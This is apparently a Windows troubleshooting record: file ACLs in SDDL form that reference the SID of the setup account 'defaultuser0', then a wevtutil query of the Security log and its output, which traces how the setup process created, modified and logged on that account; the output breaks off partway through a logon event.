C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\System Tools\Desktop.ini D:AI(A;;FA;;;BA)(A;;FA;;;SY)(A;;0x1200a9;;;BU)(A;;0x1200a9;;;AC)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\System Tools\Task Manager.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Users\All Users\NVIDIA Corporation\Drs\nvAppTimestamps D:AI(A;ID;FA;;;WD)(A;ID;FA;;;AC)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;FA;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;0x1200a9;;;BU)S:AI(ML;ID;NW;;;LW)
C:\Users\Public\Desktop D:PAI(A;OICI;FA;;;BA)(A;OICI;0x1200a9;;;IU)(A;OICI;FA;;;SY)(A;OICIIO;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;OICIIO;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;OICIIO;DTSD;;;LA)
C:\Users\Public\Desktop\desktop.ini D:AI(A;;FA;;;BA)(A;;FA;;;SY)(A;;0x1200a9;;;BU)(A;;0x1200a9;;;AC)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;IU)(A;ID;FA;;;SY)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)
C:\Windows\System32\AppLocker\AppCache.dat D:AI(A;ID;FA;;;LS)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;FA;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;0x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
C:\Windows\System32\AppLocker\AppCache.dat.LOG1 D:(A;ID;FA;;;LS)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;FA;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;0x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
C:\Windows\System32\AppLocker\AppCache.dat.LOG2 D:(A;ID;FA;;;LS)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;FA;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;0x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
C:\Windows\System32\WDI\LogFiles\StartupInfo\S-1-5-21-197523953-1369290436-2466060359-1000_StartupInfo1.xml D:AI(A;;FA;;;S-1-5-21-197523953-1369290436-2466060359-1000)(D;ID;FA;;;BG)(D;ID;FA;;;AN)(D;ID;WP;;;BA)(A;ID;FA;;;BA)(A;ID;FA;;;SY)(A;ID;0x13019f;;;S-1-5-80-2970612574-78537857-698502321-558674196-1451644582)(A;ID;0x13019f;;;S-1-5-80-3139157870-2983391045-3678747466-658725712-1809340420)
C:\Windows\System32\WDI\LogFiles\StartupInfo\S-1-5-21-197523953-1369290436-2466060359-1000_StartupInfo2.xml D:AI(A;;FA;;;S-1-5-21-197523953-1369290436-2466060359-1000)(D;ID;FA;;;BG)(D;ID;FA;;;AN)(D;ID;WP;;;BA)(A;ID;FA;;;BA)(A;ID;FA;;;SY)(A;ID;0x13019f;;;S-1-5-80-2970612574-78537857-698502321-558674196-1451644582)(A;ID;0x13019f;;;S-1-5-80-3139157870-2983391045-3678747466-658725712-1809340420)
C:\Windows\Temp\Application_DC247EF8-8BA8-0000-B9A4-24DCA88BDC01.evtx D:AI(A;ID;FA;;;BA)(A;ID;FA;;;SY)(A;ID;FA;;;S-1-5-21-197523953-1369290436-2466060359-1000)
C:\Windows\Temp\AppxErrorReport_DC247EF8-8BA8-0000-B9A4-24DCA88BDC01.txt D:AI(A;ID;FA;;;BA)(A;ID;FA;;;SY)(A;ID;FA;;;S-1-5-21-197523953-1369290436-2466060359-1000)
C:\Windows\Temp\Microsoft-Windows-AppReadiness_Admin_DC247EF8-8BA8-0000-B9A4-24DCA88BDC01.evtx D:AI(A;ID;FA;;;BA)(A;ID;FA;;;SY)(A;ID;FA;;;S-1-5-21-197523953-1369290436-2466060359-1000)
C:\Windows\Temp\Microsoft-Windows-AppReadiness_Operational_DC247EF8-8BA8-0000-B9A4-24DCA88BDC01.evtx D:AI(A;ID;FA;;;BA)(A;ID;FA;;;SY)(A;ID;FA;;;S-1-5-21-197523953-1369290436-2466060359-1000)
C:\Windows\Temp\Microsoft-Windows-AppXDeploymentServer_Operational_DC247EF8-8BA8-0000-B9A4-24DCA88BDC01.evtx D:AI(A;ID;FA;;;BA)(A;ID;FA;;;SY)(A;ID;FA;;;S-1-5-21-197523953-1369290436-2466060359-1000)
C:\Windows\Temp\Microsoft-Windows-AppXPackaging_Operational_DC247EF8-8BA8-0000-B9A4-24DCA88BDC01.evtx D:AI(A;ID;FA;;;BA)(A;ID;FA;;;SY)(A;ID;FA;;;S-1-5-21-197523953-1369290436-2466060359-1000)
C:\Windows\Temp\Microsoft-Windows-StateRepository_Operational_DC247EF8-8BA8-0000-B9A4-24DCA88BDC01.evtx D:AI(A;ID;FA;;;BA)(A;ID;FA;;;SY)(A;ID;FA;;;S-1-5-21-197523953-1369290436-2466060359-1000)
C:\Windows\Temp\Microsoft-Windows-Store_Operational_DC247EF8-8BA8-0000-B9A4-24DCA88BDC01.evtx D:AI(A;ID;FA;;;BA)(A;ID;FA;;;SY)(A;ID;FA;;;S-1-5-21-197523953-1369290436-2466060359-1000)
C:\Windows\Temp\Microsoft-Windows-WindowsUpdateClient_Operational_DC247EF8-8BA8-0000-B9A4-24DCA88BDC01.evtx D:AI(A;ID;FA;;;BA)(A;ID;FA;;;SY)(A;ID;FA;;;S-1-5-21-197523953-1369290436-2466060359-1000)
C:\Windows\Temp\System_DC247EF8-8BA8-0000-B9A4-24DCA88BDC01.evtx D:AI(A;ID;FA;;;BA)(A;ID;FA;;;SY)(A;ID;FA;;;S-1-5-21-197523953-1369290436-2466060359-1000)
C:\Windows\WinSxS\amd64_eventviewersettings_31bf3856ad364e35_10.0.26100.1_none_f1eb80676c3fbe87\Event Viewer.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Windows\WinSxS\amd64_eventviewersettings_31bf3856ad364e35_10.0.26100.7019_none_90e5359db39960cb\Event Viewer.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Windows\WinSxS\amd64_microsoft-windows-a..roblemstepsrecorder_31bf3856ad364e35_10.0.26100.7309_none_76bd7eb4faf93a33\Steps Recorder.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Windows\WinSxS\amd64_microsoft-windows-advancedtaskmanager_31bf3856ad364e35_10.0.26100.7309_none_4ab2c8689b7ec88b\Task Manager.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Windows\WinSxS\amd64_microsoft-windows-c..s-admin-compsvclink_31bf3856ad364e35_10.0.26100.1_none_cf85fa2a4305b64c\Component Services.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Windows\WinSxS\amd64_microsoft-windows-c..s-admin-compsvclink_31bf3856ad364e35_10.0.26100.7019_none_6e7faf608a5f5890\Component Services.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Windows\WinSxS\amd64_microsoft-windows-c..termanagementsnapin_31bf3856ad364e35_10.0.26100.7019_none_e7037dc2263d36fe\Computer Management.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Windows\WinSxS\amd64_microsoft-windows-charmap_31bf3856ad364e35_10.0.26100.7309_none_8e25aae7545a9e2d\Character Map.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Windows\WinSxS\amd64_microsoft-windows-cleanmgr_31bf3856ad364e35_10.0.26100.7309_none_091023ea0d8b4878\Disk Cleanup.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Windows\WinSxS\amd64_microsoft-windows-defrag-adminui_31bf3856ad364e35_10.0.26100.1_none_9609b71ef8d18dee\dfrgui.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Windows\WinSxS\amd64_microsoft-windows-defrag-adminui_31bf3856ad364e35_10.0.26100.7019_none_35036c55402b3032\dfrgui.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Windows\WinSxS\amd64_microsoft-windows-iscsi_initiator_ui_31bf3856ad364e35_10.0.26100.7019_none_73d888480bf81bed\iSCSI Initiator.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Windows\WinSxS\amd64_microsoft-windows-m..-odbc-administrator_31bf3856ad364e35_10.0.26100.1_none_41438fbea643a6b2\ODBC Data Sources (64-bit).lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Windows\WinSxS\amd64_microsoft-windows-m..-odbc-administrator_31bf3856ad364e35_10.0.26100.7019_none_e03d44f4ed9d48f6\ODBC Data Sources (64-bit).lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Windows\WinSxS\amd64_microsoft-windows-m..diagnostic-schedule_31bf3856ad364e35_10.0.26100.1_none_90ca449ce2441ece\Memory Diagnostics Tool.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Windows\WinSxS\amd64_microsoft-windows-m..diagnostic-schedule_31bf3856ad364e35_10.0.26100.7309_none_2fa289c529b6fb8e\Memory Diagnostics Tool.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Windows\WinSxS\amd64_microsoft-windows-mediaplayer-shortcut_31bf3856ad364e35_10.0.26100.1_none_abc51aa4b641f80b\Windows Media Player Legacy.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Windows\WinSxS\amd64_microsoft-windows-mediaplayer-shortcut_31bf3856ad364e35_10.0.26100.7019_none_4abecfdafd9b9a4f\Windows Media Player Legacy.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Windows\WinSxS\amd64_microsoft-windows-msconfig-exe_31bf3856ad364e35_10.0.26100.7309_none_76462c0c4dbf87d6\System Configuration.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Windows\WinSxS\amd64_microsoft-windows-msinfo32-exe_31bf3856ad364e35_10.0.26100.7309_none_47a8545fa9adc07d\System Information.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Windows\WinSxS\amd64_microsoft-windows-p..erandprintui-pmcppc_31bf3856ad364e35_10.0.26100.7309_none_a7342f7530b11ccd\Print Management.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Windows\WinSxS\amd64_microsoft-windows-performancetoolsgui_31bf3856ad364e35_10.0.26100.7309_none_37d5abb450f36755\Performance Monitor.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Windows\WinSxS\amd64_microsoft-windows-performancetoolsgui_31bf3856ad364e35_10.0.26100.7309_none_37d5abb450f36755\Resource Monitor.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Windows\WinSxS\amd64_microsoft-windows-recoverydrive_31bf3856ad364e35_10.0.26100.7309_none_c45e9e9a3bacec34\RecoveryDrive.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Windows\WinSxS\amd64_microsoft-windows-registry-editor_31bf3856ad364e35_10.0.26100.7309_none_8ffaa2ed8bd81ddc\Registry Editor.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Windows\WinSxS\amd64_microsoft-windows-s..ment-policytools-ex_31bf3856ad364e35_10.0.26100.1_none_5652fdfea9a23958\Security Configuration Management.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Windows\WinSxS\amd64_microsoft-windows-s..ment-policytools-ex_31bf3856ad364e35_10.0.26100.7019_none_f54cb334f0fbdb9c\Security Configuration Management.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Windows\WinSxS\amd64_microsoft-windows-servicessnapin_31bf3856ad364e35_10.0.26100.1_none_cc578b04ae477f68\services.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Windows\WinSxS\amd64_microsoft-windows-servicessnapin_31bf3856ad364e35_10.0.26100.7019_none_6b51403af5a121ac\services.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Windows\WinSxS\amd64_microsoft-windows-t..minalservicesclient_31bf3856ad364e35_10.0.26100.7623_none_e98a549dd12cf3fe\Remote Desktop Connection.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Windows\WinSxS\amd64_networking-mpssvc-shortcut_31bf3856ad364e35_10.0.26100.1_none_824a9d6a7551c7c8\Windows Defender Firewall with Advanced Security.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Windows\WinSxS\amd64_networking-mpssvc-shortcut_31bf3856ad364e35_10.0.26100.7019_none_214452a0bcab6a0c\Windows Defender Firewall with Advanced Security.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Windows\WinSxS\amd64_taskschedulersettings_31bf3856ad364e35_10.0.26100.1_none_47deac2a6ce97f0b\Task Scheduler.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Windows\WinSxS\amd64_taskschedulersettings_31bf3856ad364e35_10.0.26100.7019_none_e6d86160b443214f\Task Scheduler.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Windows\WinSxS\wow64_microsoft-windows-m..-odbc-administrator_31bf3856ad364e35_10.0.26100.7019_none_ea91ef4721fe0af1\ODBC Data Sources (32-bit).lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)

Query the Security event log for entries which contain the character string defaultuser0 or this account’s SID string in their event data:

WEVTUTIL.EXE Query-Events Security /Format:Text /Query:"Event[EventData[Data='defaultuser0' or Data='S-1-5-21-197523953-1369290436-2466060359-1000']]" | FINDSTR.EXE /B /C:"  " /V

Event[0]
A member was added to a security-enabled global group.

Subject:
Security ID: S-1-5-18
Account Name: WHISPER$
Account Domain: WORKGROUP
Logon ID: 0x3E7

Member:
Security ID: S-1-5-21-197523953-1369290436-2466060359-1000
Account Name: -

Group:
Security ID: S-1-5-21-197523953-1369290436-2466060359-513
Group Name: None
Group Domain: WHISPER

Additional Information:
Privileges: -

Event[1]
A user account was created.

Subject:
Security ID: S-1-5-18
Account Name: WHISPER$
Account Domain: WORKGROUP
Logon ID: 0x3E7

New Account:
Security ID: S-1-5-21-197523953-1369290436-2466060359-1000
Account Name: defaultuser0
Account Domain: WHISPER

Attributes:
SAM Account Name: defaultuser0
Display Name: <value not set>
User Principal Name: -
Home Directory: <value not set>
Home Drive: <value not set>
Script Path: <value not set>
Profile Path: <value not set>
User Workstations: <value not set>
Password Last Set: <never>
Account Expires: <never>
Primary Group ID: 513
Allowed To Delegate To: -
Old UAC Value: 0x0
New UAC Value: 0x15
User Account Control:
Account Disabled
'Password Not Required' - Enabled
'Normal Account' - Enabled
User Parameters: <value not set>
SID History: -
Logon Hours: All

Additional Information:
Privileges -

Event[2]
A member was added to a security-enabled local group.

Subject:
Security ID: S-1-5-18
Account Name: WHISPER$
Account Domain: WORKGROUP
Logon ID: 0x3E7

Member:
Security ID: S-1-5-21-197523953-1369290436-2466060359-1000
Account Name: -

Group:
Security ID: S-1-5-32-545
Group Name: Users
Group Domain: Builtin

Additional Information:
Privileges: -

Event[3]
A user account was enabled.

Subject:
Security ID: S-1-5-18
Account Name: WHISPER$
Account Domain: WORKGROUP
Logon ID: 0x3E7

Target Account:
Security ID: S-1-5-21-197523953-1369290436-2466060359-1000
Account Name: defaultuser0
Account Domain: WHISPER

Event[4]
A user account was changed.

Subject:
Security ID: S-1-5-18
Account Name: WHISPER$
Account Domain: WORKGROUP
Logon ID: 0x3E7

Target Account:
Security ID: S-1-5-21-197523953-1369290436-2466060359-1000
Account Name: defaultuser0
Account Domain: WHISPER

Changed Attributes:
SAM Account Name: defaultuser0
Display Name: <value not set>
User Principal Name: -
Home Directory: <value not set>
Home Drive: <value not set>
Script Path: <value not set>
Profile Path: <value not set>
User Workstations: <value not set>
Password Last Set: <never>
Account Expires: <never>
Primary Group ID: 513
AllowedToDelegateTo: -
Old UAC Value: 0x15
New UAC Value: 0x14
User Account Control:
Account Enabled
User Parameters: <value not set>
SID History: -
Logon Hours: All

Additional Information:
Privileges: -

Event[5]
A user account was changed.

Subject:
Security ID: S-1-5-18
Account Name: WHISPER$
Account Domain: WORKGROUP
Logon ID: 0x3E7

Target Account:
Security ID: S-1-5-21-197523953-1369290436-2466060359-1000
Account Name: defaultuser0
Account Domain: WHISPER

Changed Attributes:
SAM Account Name: defaultuser0
Display Name: <value not set>
User Principal Name: -
Home Directory: <value not set>
Home Drive: <value not set>
Script Path: <value not set>
Profile Path: <value not set>
User Workstations: <value not set>
Password Last Set: 12/27/2025 19:18:17
Account Expires: <never>
Primary Group ID: 513
AllowedToDelegateTo: -
Old UAC Value: 0x14
New UAC Value: 0x14
User Account Control: -
User Parameters: -
SID History: -
Logon Hours: All

Additional Information:
Privileges: -

Event[6]
An attempt was made to reset an account's password.

Subject:
Security ID: S-1-5-18
Account Name: WHISPER$
Account Domain: WORKGROUP
Logon ID: 0x3E7

Target Account:
Security ID: S-1-5-21-197523953-1369290436-2466060359-1000
Account Name: defaultuser0
Account Domain: WHISPER

Event[7]
A user account was changed.

Subject:
Security ID: S-1-5-18
Account Name: WHISPER$
Account Domain: WORKGROUP
Logon ID: 0x3E7

Target Account:
Security ID: S-1-5-21-197523953-1369290436-2466060359-1000
Account Name: defaultuser0
Account Domain: WHISPER

Changed Attributes:
SAM Account Name: defaultuser0
Display Name: <value not set>
User Principal Name: -
Home Directory: <value not set>
Home Drive: <value not set>
Script Path: <value not set>
Profile Path: <value not set>
User Workstations: <value not set>
Password Last Set: 12/27/2025 19:18:17
Account Expires: <never>
Primary Group ID: 513
AllowedToDelegateTo: -
Old UAC Value: 0x14
New UAC Value: 0x214
User Account Control:
'Don't Expire Password' - Enabled
User Parameters: -
SID History: -
Logon Hours: All

Additional Information:
Privileges: -

Event[8]
An attempt was made to reset an account's password.

Subject:
Security ID: S-1-5-18
Account Name: WHISPER$
Account Domain: WORKGROUP
Logon ID: 0x3E7

Target Account:
Security ID: S-1-5-21-197523953-1369290436-2466060359-1000
Account Name: defaultuser0
Account Domain: WHISPER

Event[9]
A member was added to a security-enabled local group.

Subject:
Security ID: S-1-5-18
Account Name: WHISPER$
Account Domain: WORKGROUP
Logon ID: 0x3E7

Member:
Security ID: S-1-5-21-197523953-1369290436-2466060359-1000
Account Name: -

Group:
Security ID: S-1-5-32-544
Group Name: Administrators
Group Domain: Builtin

Additional Information:
Privileges: -

Event[10]
A user's local group membership was enumerated.

Subject:
Security ID: S-1-5-18
Account Name: WHISPER$
Account Domain: WORKGROUP
Logon ID: 0x3E7

User:
Security ID: S-1-5-21-197523953-1369290436-2466060359-1000
Account Name: defaultuser0
Account Domain: WHISPER

Process Information:
Process ID: 0x36c
Process Name: C:\Windows\System32\lsass.exe

Event[11]
A logon was attempted using explicit credentials.

Subject:
Security ID: S-1-5-18
Account Name: WHISPER$
Account Domain: WORKGROUP
Logon ID: 0x3E7
Logon GUID: {00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
Account Name: defaultuser0
Account Domain: WHISPER
Logon GUID: {00000000-0000-0000-0000-000000000000}

Target Server:
Target Server Name: localhost
Additional Information: localhost

Process Information:
Process ID: 0x604
Process Name: C:\Windows\System32\oobe\msoobe.exe

Network Information:
Network Address: -
Port: -

This event is generated when a process attempts to log on an account by explicitly specifying that account's credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.

Event[12]
An account was successfully logged on.

Subject:
Security ID: S-1-5-18
Account Name: WHISPER$
Account Domain: WORKGROUP
Logon ID: 0x3E7

Logon Information:
Logon Type: 2
Restricted Admin Mode: -
Remote Credential Guard:-
Virtual Account: No
Elevated Token: Yes

Impersonation Level: Impersonation

New Logon:
